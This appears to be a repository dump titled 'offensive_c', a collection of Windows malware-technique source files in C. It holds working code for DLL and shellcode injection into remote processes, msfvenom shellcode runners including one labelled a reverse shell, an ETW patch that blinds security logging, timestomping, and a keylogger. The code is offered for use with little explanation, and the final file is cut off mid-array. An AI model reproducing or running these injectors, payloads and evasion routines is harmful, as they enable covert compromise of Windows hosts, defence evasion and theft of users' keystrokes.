├── misc ├── reflective_loader_placeholder.c ├── sleep_alertable.c ├── pe_mainexec.c ├── pe_runtime.c ├── dll_mainexec.c ├── dll_export.c ├── get_loadlibrary_address_in_remote_process.c └── dll_for_hijacking.c ├── loadlibrary.c ├── loadlibrary_hook.c ├── pe_process_doppelganging.c ├── .gitignore ├── loadlibrary_createremotethread.c ├── keylogger_kbhit.c ├── todo ├── disable_etw.c └── masqueradeCmdline.cpp ├── README.txt ├── shellcode_function.c ├── tls_callback.c ├── shellcode_createremotethread.c ├── timestomping.c ├── shellcode_createthread.c ├── shellcode_apc_testalert.c ├── tls_callback_dynamic.c ├── shellcode_apc_earlybird.c ├── shellcode_find_rwx.c ├── shellcode_apc.c ├── shellcode_thread_hijack.c ├── shellcode_module_stomping.c ├── shellcode_createthread_dinvoke.c ├── loadlibrary_reflective_dll.c ├── manualmap_dll_loader.c ├── peb_process_mask.c ├── pe_process_hollowing.c ├── shellcode_sections.c ├── dll_unlink_module.c ├── include └── dinvoke.h ├── pe_process_herpaderping.c ├── dll_reflective_loader_64.c └── pe_process_ghosting.c /misc/reflective_loader_placeholder.c: -------------------------------------------------------------------------------- 1 | 2 | void ReflectiveLoader(){ 3 | return; 4 | } 5 | 6 | -------------------------------------------------------------------------------- /misc/sleep_alertable.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | int main(){ 5 | SleepEx(60000, TRUE); 6 | } -------------------------------------------------------------------------------- /loadlibrary.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | int main(int argc, char* argv[]) { 5 | LoadLibraryA("Z:\\git\\offensive_c\\bin\\dll_mainexec.dll"); 6 | while(1){ 7 | Sleep(10000); 8 | } 9 | return 0; 10 | } -------------------------------------------------------------------------------- /misc/pe_mainexec.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int WINAPI WinMain(HINSTANCE hThisInstance, 4 | HINSTANCE hPrevInstance, 5 | LPSTR lpszArgument, 6 | int nCmdShow) 7 | { 8 | MessageBox( 9 | NULL, 10 | "owned!", 11 | "owned!", 12 | MB_OK); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /misc/pe_runtime.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef int(WINAPI *_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT); 4 | 5 | int main(void) 6 | { 7 | HMODULE hUser32 = LoadLibrary("User32.dll"); 8 | _MessageBoxA MyMessageBoxA = (_MessageBoxA)GetProcAddress(hUser32, "MessageBoxA"); 9 | if (!MyMessageBoxA) 10 | { 11 | return -1; 12 | } 13 | 14 | MyMessageBoxA(NULL, "calling MessageBoxA undirectly", "kek", MB_OK); 15 | 16 | return 0; 17 | } -------------------------------------------------------------------------------- /loadlibrary_hook.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef int (*Mew)(); 4 | 5 | int main(void) 6 | { 7 | HINSTANCE meowDll; 8 | Mew meowFunc; 9 | 10 | meowDll = LoadLibrary("mylib_export.dll"); 11 | 12 | meowFunc = (Mew)GetProcAddress(meowDll, "Mew"); 13 | 14 | HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)meowFunc, meowDll, 0); 15 | Sleep(5 * 1000); 16 | UnhookWindowsHookEx(hook); 17 | 18 | return 0; 19 | } -------------------------------------------------------------------------------- /pe_process_doppelganging.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // read payload file into heap 6 | HANDLE hFile = CreateFileW(L"C:\\temp\\payload.exe", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 7 | size_t payload_size = GetFileSize(hFile, 0); 8 | BYTE* bufferAddress = (BYTE*)VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 9 | DWORD bytesRead = 0; 10 | ReadFile(hFile, bufferAddress, payload_size, &bytesRead, NULL); 11 | 12 | 13 | 14 | return 0; 15 | } -------------------------------------------------------------------------------- /misc/dll_mainexec.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | BOOL WINAPI DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) 4 | { 5 | switch (nReason) 6 | { 7 | case DLL_PROCESS_ATTACH: 8 | MessageBox( 9 | NULL, 10 | "0wn3d!", 11 | "0wn3d!", 12 | MB_OK); 13 | break; 14 | case DLL_PROCESS_DETACH: 15 | break; 16 | case DLL_THREAD_ATTACH: 17 | break; 18 | case DLL_THREAD_DETACH: 19 | break; 20 | } 21 | return TRUE; 22 | } 23 | -------------------------------------------------------------------------------- /misc/dll_export.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) 5 | { 6 | switch (nReason) 7 | { 8 | case DLL_PROCESS_ATTACH: 9 | break; 10 | case DLL_PROCESS_DETACH: 11 | break; 12 | case DLL_THREAD_ATTACH: 13 | break; 14 | case DLL_THREAD_DETACH: 15 | break; 16 | } 17 | return TRUE; 18 | } 19 | 20 | 21 | int Mew() 22 | { 23 | MessageBox( 24 | NULL, 25 | "owned!", 26 | "owned!", 27 | MB_OK); 28 | return 42; 29 | } -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | bin/* 2 | hs/ 3 | .vscode 4 | # Prerequisites 5 | *.d 6 | 7 | # Object files 8 | *.o 9 | *.ko 10 | *.obj 11 | *.elf 12 | 13 | # Linker output 14 | *.ilk 15 | *.map 16 | *.exp 17 | 18 | # Precompiled Headers 19 | *.gch 20 | *.pch 21 | 22 | # Libraries 23 | *.lib 24 | *.a 25 | *.la 26 | *.lo 27 | 28 | # Shared objects (inc. Windows DLLs) 29 | *.dll 30 | *.so 31 | *.so.* 32 | *.dylib 33 | 34 | # Executables 35 | *.exe 36 | *.out 37 | *.app 38 | *.i*86 39 | *.x86_64 40 | *.hex 41 | 42 | # Debug files 43 | *.dSYM/ 44 | *.su 45 | *.idb 46 | *.pdb 47 | 48 | # Kernel Module Compile Results 49 | *.mod* 50 | *.cmd 51 | .tmp_versions/ 52 | modules.order 53 | Module.symvers 54 | Mkfile.old 55 | dkms.conf 56 | -------------------------------------------------------------------------------- /loadlibrary_createremotethread.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | // // setup 7 | 8 | PROCESS_INFORMATION pi; 9 | STARTUPINFOA Startup; 10 | ZeroMemory(&Startup, sizeof(Startup)); 11 | ZeroMemory(&pi, sizeof(pi)); 12 | 13 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, NORMAL_PRIORITY_CLASS, NULL, NULL, &Startup, &pi); 14 | WaitForSingleObject(pi.hProcess, 1 * 1000); 15 | 16 | // // 17 | 18 | char dll_path[] = "Z:\\git\\offensive_c\\bin\\dll_mainexec.dll"; 19 | 20 | HANDLE target_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId); 21 | LPVOID dll_path_address = VirtualAllocEx(target_handle, 0, sizeof(dll_path), MEM_COMMIT, PAGE_READWRITE); 22 | WriteProcessMemory(target_handle, dll_path_address, dll_path, sizeof(dll_path), 0); 23 | 24 | LPTHREAD_START_ROUTINE loadlibrary_address = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); 25 | 26 | HANDLE th = CreateRemoteThread(target_handle, 0, 0, loadlibrary_address, dll_path_address, 0, 0); 27 | 28 | return 0; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /keylogger_kbhit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | char ch; 7 | FILE *f; 8 | f = fopen("keys.txt", "a"); 9 | while (1) 10 | { 11 | if (kbhit()) 12 | { 13 | ch = getch(); 14 | // checking hex value of pressed key and writing into a file 15 | switch ((int)ch) 16 | { 17 | case ' ': // Space key 18 | fprintf(f, " "); 19 | break; 20 | case 0x09: // Tab key. 21 | fprintf(f, "[TAB]"); 22 | break; 23 | case 0x0D: // Enter key. 24 | fprintf(f, "[ENTER]"); 25 | break; 26 | case 0x1B: // Escape key. 27 | break; 28 | fprintf(f, "[ESC]"); 29 | case 0x08: // Backspace key. 30 | fprintf(f, "[BACKSPACE]"); 31 | break; 32 | default: 33 | fputc(ch, f); // other keys will by default print in file 34 | } 35 | if ((int)ch == 27) 36 | break; 37 | } 38 | } 39 | fclose(f); 40 | return 0; 41 | } -------------------------------------------------------------------------------- /misc/get_loadlibrary_address_in_remote_process.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | DWORD64 get_loadlibrary_address_in_remote_process(DWORD proc_id) 8 | { 9 | HMODULE hMods[1024]; 10 | HANDLE hProcess; 11 | DWORD cbNeeded; 12 | unsigned int i; 13 | 14 | hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, proc_id); 15 | if (NULL == hProcess) 16 | return 1; 17 | 18 | if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) 19 | { 20 | for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) 21 | { 22 | TCHAR szModName[MAX_PATH]; 23 | if (GetModuleBaseNameA(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) 24 | { 25 | if (!strcmp(szModName, "KERNEL32.DLL")) 26 | { 27 | DWORD64 gmh = (DWORD64)GetModuleHandleA("kernel32.dll"); 28 | DWORD64 lla = (DWORD64)GetProcAddress((HMODULE)gmh, "LoadLibraryA"); 29 | DWORD64 offset = lla - gmh; 30 | printf("local address : %llx\n", gmh); 31 | printf("remote address : %llx\n", (DWORD64)hMods[i]); 32 | 33 | return (DWORD64)hMods[i] + offset; 34 | } 35 | } 36 | } 37 | } 38 | 39 | return 0; 40 | } -------------------------------------------------------------------------------- /todo/disable_etw.c: -------------------------------------------------------------------------------- 1 | #include "Evasion.h" 2 | 3 | // https://github.com/Allevon412/BreadBear/blob/4f1f5da39b423f0655df9338e01c8b733c6d1152/stage1/Evasion.c 4 | 5 | int DisableETW(void) { 6 | unsigned char strVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0x0 }; 7 | unsigned char strFlushInstructionCache[] = { 'F','l','u','s','h','I','n','s','t','r','u','c','t','i','o','n','C','a','c','h','e',0x0 }; 8 | WCHAR strKernel32dll[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0x0 }; 9 | WCHAR strNtdlldll[] = { 'N','t','d','l','l','.','d','l','l',0x0 }; 10 | 11 | VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)hlpGetProcAddress(hlpGetModuleHandle(strKernel32dll), (LPCSTR)strVirtualProtect); 12 | t_FlushInstructionCache pFlushInstructionCache = (t_FlushInstructionCache)hlpGetProcAddress(hlpGetModuleHandle(strKernel32dll), strFlushInstructionCache); 13 | 14 | DWORD oldprotect = 0; 15 | 16 | unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 }; 17 | 18 | void* pEventWrite = hlpGetProcAddress(hlpGetModuleHandle((LPCSTR)strNtdlldll), (LPCSTR)sEtwEventWrite); 19 | 20 | VirtualProtect_p(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); 21 | 22 | #ifdef _WIN64 23 | memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret 24 | #else 25 | memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 26 | #endif 27 | 28 | VirtualProtect_p(pEventWrite, 4096, oldprotect, &oldprotect); 29 | pFlushInstructionCache(-1, pEventWrite, 4096); 30 | return 0; 31 | } -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | steal other people's code 2 | learn 3 | adapt 4 | repeat 5 | 6 | compile with ( https://github.com/mstorsjo/llvm-mingw clang-15) : 7 | $ x86_64-w64-mingw32-clang -Os ... 8 | 9 | TODO: 10 | - https://github.com/janoglezcampos/c_syscalls 11 | - https://github.com/TheKevinWang/UACHooker 12 | - https://github.com/ch3rn0byl/AngryWindows 13 | - https://github.com/SolomonSklash/UnhookingPOC 14 | - https://github.com/trickster0/TartarusGate/ 15 | - https://github.com/suspex0/ProxyJect 16 | - https://github.com/TheCruZ/Simple-Manual-Map-Injector -- manualmap + cleanup 17 | - https://github.com/ethicalblue/Self-Erasing-Code-Example/blob/main/self-erase.asm 18 | 19 | - offensive_c linux: 20 | - https://github.com/bediger4000/userlandexec 21 | - https://github.com/samuraictf/gatekeeper 22 | - https://github.com/gaffe23/linux-inject 23 | 24 | // 25 | compile with "-Wl,--exclude-all-symbols" to disable automatic function export in dll, mingw 26 | 27 | pe file analysis + parsing 28 | - https://learn.microsoft.com/en-us/windows/win32/debug/pe-format 29 | - mingw c autocomplete standart libs in vscode 30 | - vx-api 31 | 32 | // truncated structure 33 | // get full structure on 34 | // 1. https://www.vergiliusproject.com/ 35 | // 2. https://github.com/x64dbg/x64dbg/blob/development/src/dbg/ntdll/ntdll.h 36 | // 3. http://undocumented.ntinternals.net/ 37 | // 4. https://github.com/processhacker/phnt 38 | // typedef struct _ND_PEB 39 | // { 40 | // BYTE Reserved1[2]; 41 | // BYTE BeingDebugged; 42 | // BYTE Reserved2[1]; 43 | // PVOID Reserved3[2]; 44 | // PND_PEB_LDR_DATA Ldr; 45 | // } ND_PEB, *PND_PEB; 46 | -------------------------------------------------------------------------------- /shellcode_function.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // msfvenom -p windows/x64/exec CMD="taskmgr.exe" -f c 5 | unsigned char buf[] = 6 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 7 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 8 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 9 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 10 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 11 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 12 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 13 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 14 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 15 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 16 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 17 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 18 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 19 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 20 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 21 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 22 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 23 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 24 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 25 | "\xd5\x74\x61\x73\x6b\x6d\x67\x72\x2e\x65\x78\x65\x00"; 26 | 27 | int main() 28 | { 29 | 30 | void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 31 | 32 | memcpy(exec, buf, sizeof buf); 33 | 34 | ((void (*)())exec)(); 35 | 36 | return 0; 37 | } -------------------------------------------------------------------------------- /tls_callback.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | 5 | // tls area 6 | ////////////////////////////////////////////////////////////////////// 7 | 8 | #if defined(_MSC_VER) 9 | #define _CRTALLOC(x) __declspec(allocate(x)) 10 | #elif defined(__GNUC__) 11 | #define _CRTALLOC(x) __attribute__((section(x))) 12 | #else 13 | #error Your compiler is not supported. 14 | #endif 15 | 16 | static void WINAPI tls_callback(HANDLE hDllHandle, DWORD dwReason, LPVOID __UNUSED_PARAM(lpReserved)) 17 | { 18 | switch (dwReason) 19 | { 20 | case DLL_PROCESS_ATTACH: 21 | printf("attach\n"); 22 | break; 23 | case DLL_PROCESS_DETACH: 24 | printf("detach\n"); 25 | break; 26 | case DLL_THREAD_ATTACH: 27 | printf("thread attach\n"); 28 | break; 29 | case DLL_THREAD_DETACH: 30 | printf("thread detach\n"); 31 | break; 32 | } 33 | } 34 | 35 | // CRT allows the program to register TLS Callbacks. 36 | // The Callbacks to execute are found in a NULL terminated Array. 37 | // A cariable of type PIMAGE_TLS_CALLBACK pointing to the callback must be 38 | // declared in the CRT to register it in this array. 39 | // The compiler can concatenate into one section using the $ symbol. 40 | // The CRT section makes use of a specific naming convention; .CRT$XLx where x 41 | // can be anything between A-Z. A is the beinning, Z is the null terminator. 42 | // All XLx are concatenated into the .CRT section. 43 | // Concatenation is done alphabetically, so the callback in .CRT$XLB will be 44 | // called before .CRT$XLC. 45 | // 46 | // from https://github.com/mirror/mingw-w64/blob/cb37f01f9cb54ccb85ed9c03086e6c4d84b5b431/mingw-w64-crt/crt/tlssup.c 47 | 48 | _CRTALLOC(".CRT$XLF") 49 | PIMAGE_TLS_CALLBACK __xl_f = tls_callback; 50 | 51 | ////////////////////////////////////////////////////////////////////// 52 | 53 | int main() 54 | { 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /shellcode_createremotethread.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // msfvenom -p windows/x64/exec CMD="taskmgr.exe" -f c 4 | unsigned char buf[] = 5 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 6 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 7 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 8 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 9 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 10 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 11 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 12 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 13 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 14 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 15 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 16 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 17 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 18 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 19 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 20 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 21 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 22 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 23 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 24 | "\xd5\x74\x61\x73\x6b\x6d\x67\x72\x2e\x65\x78\x65\x00"; 25 | 26 | int main() 27 | { 28 | PROCESS_INFORMATION pi; 29 | STARTUPINFOA Startup; 30 | ZeroMemory(&Startup, sizeof(Startup)); 31 | ZeroMemory(&pi, sizeof(pi)); 32 | 33 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &Startup, &pi); 34 | 35 | HANDLE hw = OpenProcess(PROCESS_ALL_ACCESS, 0, pi.dwProcessId); 36 | 37 | void *base = VirtualAllocEx(pi.hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 38 | WriteProcessMemory(hw, base, buf, sizeof(buf), NULL); 39 | 40 | HANDLE thread = CreateRemoteThread(hw, NULL, 0, (LPTHREAD_START_ROUTINE)base, NULL, 0, 0); 41 | WaitForSingleObject(thread, INFINITE); 42 | 43 | CloseHandle(pi.hProcess); 44 | return 0; 45 | } -------------------------------------------------------------------------------- /timestomping.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef struct _IO_STATUS_BLOCK { 4 | union { 5 | NTSTATUS Status; 6 | PVOID Pointer; 7 | }; 8 | ULONG_PTR Information; 9 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 10 | 11 | typedef enum _FILE_INFORMATION_CLASS { 12 | FileBasicInformation = 4, 13 | FileStandardInformation = 5, 14 | FilePositionInformation = 14, 15 | FileEndOfFileInformation = 20, 16 | } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; 17 | 18 | typedef struct _FILE_BASIC_INFORMATION { 19 | LARGE_INTEGER CreationTime; // Created 20 | LARGE_INTEGER LastAccessTime; // Accessed 21 | LARGE_INTEGER LastWriteTime; // Modifed 22 | LARGE_INTEGER ChangeTime; // Entry Modified 23 | ULONG FileAttributes; 24 | } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; 25 | 26 | 27 | 28 | typedef NTSTATUS(WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); 29 | typedef NTSTATUS(WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); 30 | 31 | 32 | int main(){ 33 | 34 | char * srcFileName = "C:\\Windows\\System32\\at.exe"; 35 | char * dstFileName = "C:\\tmp\\text.txt"; 36 | 37 | FILE_BASIC_INFORMATION dst_fbi, src_fbi; 38 | IO_STATUS_BLOCK ioStat; 39 | 40 | HMODULE ntdll = GetModuleHandle(TEXT("ntdll.dll")); 41 | pNtQueryInformationFile NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, "NtQueryInformationFile"); 42 | pNtSetInformationFile NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); 43 | 44 | HANDLE srcFile = CreateFile(srcFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); 45 | HANDLE dstFile = CreateFile(dstFileName, GENERIC_READ | GENERIC_WRITE | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL); 46 | 47 | NtQueryInformationFile(srcFile, &ioStat, &src_fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation); 48 | NtQueryInformationFile(dstFile, &ioStat, &dst_fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation); 49 | 50 | dst_fbi.LastWriteTime = src_fbi.LastWriteTime; 51 | dst_fbi.LastAccessTime = src_fbi.LastAccessTime; 52 | dst_fbi.ChangeTime = src_fbi.ChangeTime; 53 | dst_fbi.CreationTime = src_fbi.CreationTime; 54 | 55 | NtSetInformationFile(dstFile, &ioStat, &dst_fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation); 56 | 57 | CloseHandle(srcFile); 58 | CloseHandle(dstFile); 59 | 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /shellcode_createthread.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // our payload: reverse shell (msfvenom) 4 | unsigned char buf[] = 5 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 6 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 7 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 8 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 9 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 10 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 11 | "\xdd\xc8\x6e\xee\xfc\x9b\x02\x03\xe0\xcb\x83\x2c\x50\x08\x8a" 12 | "\x5f\xe9\x41\x10\xee\x36\x18\xf7\x46\xa0\x1a\xc9\x4e\x35\x5a" 13 | "\xcb\x0e\xe9\x4f\x82\xba\xda\x12\xca\xde\xf1\x41\x0a\xd6\xf9" 14 | "\xd1\x8b\x2e\xe8\xcb\x92\x2d\xeb\x12\x34\xc7\xe0\x41\x76\x46" 15 | "\xf5\x5b\x1d\x43\x90\x03\x0a\xff\x7d\xf6\x8a\xcf\x68\xc7\x03" 16 | "\xcf\x7c\x62\x2b\x7b\x50\x86\x41\x82\x99\x52\x8e\x37\x70\xbf" 17 | "\x9a\x96\xf9\xd1\x8b\x2a\xe8\xcb\x92\xa8\xfc\xd1\xc7\x46\xe5" 18 | "\x41\x02\xd2\xf4\x5b\x1b\x4f\x2a\xce\xca\x86\xbc\x8a\x8a\x56" 19 | "\xe0\x92\x1c\x97\xe7\x1b\x93\x4f\xf8\x8b\x18\x86\x3e\xb6\xeb" 20 | "\x4f\xf3\x35\xa2\x96\xfc\x03\x91\x46\x2a\xd8\xab\x99\x42\xa5" 21 | "\x34\x53\xe8\x74\x35\xbd\x8f\x05\xf8\x3c\xa1\xca\x03\x98\xf4" 22 | "\xd3\x2d\x46\x20\x26\xe2\xcf\xbd\x5a\x82\x87\x44\x83\xfe\xcc" 23 | "\xbd\x4b\x97\xce\x09\xf2\x43\x8f\xe9\x13\x42\xea\xed\x43\xb3" 24 | "\x8f\x07\x16\xbc\x28\xa6\x35\x97\x82\x34\xb0\xa3\x0f\xa0\xca" 25 | "\x42\x97\xfc\xe0\xe2\x8e\xca\xca\xbd\x1b\xed\x0a\x86\x3f\x68" 26 | "\x87\x73\x0e\xf5\xa5\x0b\x46\x28\x08\x0a\x31\x7d\x12\x42\xcf" 27 | "\xe0\x70\xa8\xc1\x62\xba\x34\xdb\xe9\x43\x85\xa4\xad\x1b\x93" 28 | "\x42\x28\x28\x0a\x47\x44\x1b\x71\x97\x04\xbe\x23\x31\x68\x12" 29 | "\x4a\xca\xe1\xc8\x42\xce\xf4\xe2\xa8\x63\xc5\xca\x42\xce\xbd" 30 | "\x5a\x8a\x5e\xe0\x9a\x0a\x47\x5f\x0d\x9c\x59\xec\xfb\x82\xa4" 31 | "\xb0\x03\x8a\x5e\x43\x36\x24\x09\xf9\x7e\x9f\x0f\xa0\x82\xcf" 32 | "\x8a\x99\x42\x0d\x0e\xc9\x82\xcb\x28\xeb\x0a\x8a\x5e\xe0\x9a" 33 | "\x03\x9e\xf4\xa5\x0b\x4f\xf1\x83\xbd\x06\xf0\xd3\x0a\x42\x28" 34 | "\x0b\x03\x74\xc4\x96\xf4\x88\x5e\x1f\x0a\xff\x6f\x12\x34\xc4" 35 | "\x2a\xc4\x03\x74\xb5\xdd\xd6\x6e\x5e\x1f\xf9\x3e\x08\xf8\x9d" 36 | "\x4f\x1b\x6c\xd7\x73\x20\xa5\x1e\x46\x22\x0e\x6a\xf2\xbb\x26" 37 | "\xc1\x8e\x5a\x2a\x37\xcb\x06\x1d\xd8\x7c\xce\xa0\x42\x97\xfc" 38 | "\xd3\x11\xf1\x74\xca\x42\xce\xbd"; 39 | 40 | 41 | int main(void) { 42 | 43 | void *buf_routine = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 44 | 45 | memcpy(buf_routine, buf, sizeof(buf)); 46 | 47 | HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) buf_routine, 0, 0, 0); 48 | WaitForSingleObject(th, INFINITE); 49 | 50 | return 0; 51 | } -------------------------------------------------------------------------------- /shellcode_apc_testalert.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | unsigned char buf[] = 7 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff" 8 | "\xff\xff\x48\xbb\x5a\xcb\x0e\xa1\xca\x42\xce\xbd\x48\x31\x58" 9 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa6\x83\x8d\x45\x3a\xaa" 10 | "\x0e\xbd\x5a\xcb\x4f\xf0\x8b\x12\x9c\xec\x0c\x83\x3f\x73\xaf" 11 | "\x0a\x45\xef\x3a\x83\x85\xf3\xd2\x0a\x45\xef\x7a\x83\x85\xd3" 12 | "\x9a\x0a\xc1\x0a\x10\x81\x43\x90\x03\x0a\xff\x7d\xf6\xf7\x6f" 13 | 